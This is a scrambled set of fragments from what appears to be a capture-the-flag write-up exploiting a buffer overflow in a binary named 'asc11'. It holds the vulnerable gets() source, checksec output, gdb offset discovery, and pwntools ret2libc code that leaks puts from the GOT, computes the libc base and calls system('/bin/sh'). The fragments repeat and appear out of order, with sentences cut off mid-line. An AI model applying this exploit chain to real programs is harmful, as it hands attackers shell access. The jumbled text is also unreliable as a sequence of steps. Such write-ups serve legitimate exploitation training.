p = process('./asc11') offset = 40 ROP to leak puts@got rop = ROP(elf) rop.puts(elf.got['puts']) rop.call(elf.symbols['main'])
gets → classic buffer overflow. No canary, PIE off → easy ret2win/ret2libc. Use gdb + pattern create (from pwntools or msf-pattern ): asc 11
void main(void) char buf[32]; setvbuf(stdout, NULL, 2, 0); puts("Input: "); gets(buf); // <-- vulnerable p = process('
objdump -d asc11 | grep -E "win|system|shell" If none, we need ret2libc. asc11: ELF 64-bit, dynamically linked, not stripped Arch:
asc11: ELF 64-bit, dynamically linked, not stripped Arch: amd64 RELRO: Partial Stack: No canary found NX: Enabled PIE: Disabled Run it to see behavior:
gdb ./asc11 r < <(python3 -c "print('A'*50)") Crash at RIP = 0x4141414141414141 → offset 40. Check if there’s a win or shell function:
leak = u64(p.recvline().strip().ljust(8, b'\x00')) libc.address = leak - libc.symbols['puts'] log.success(f'Libc base: hex(libc.address)') rop2 = ROP(libc) rop2.system(next(libc.search(b'/bin/sh')))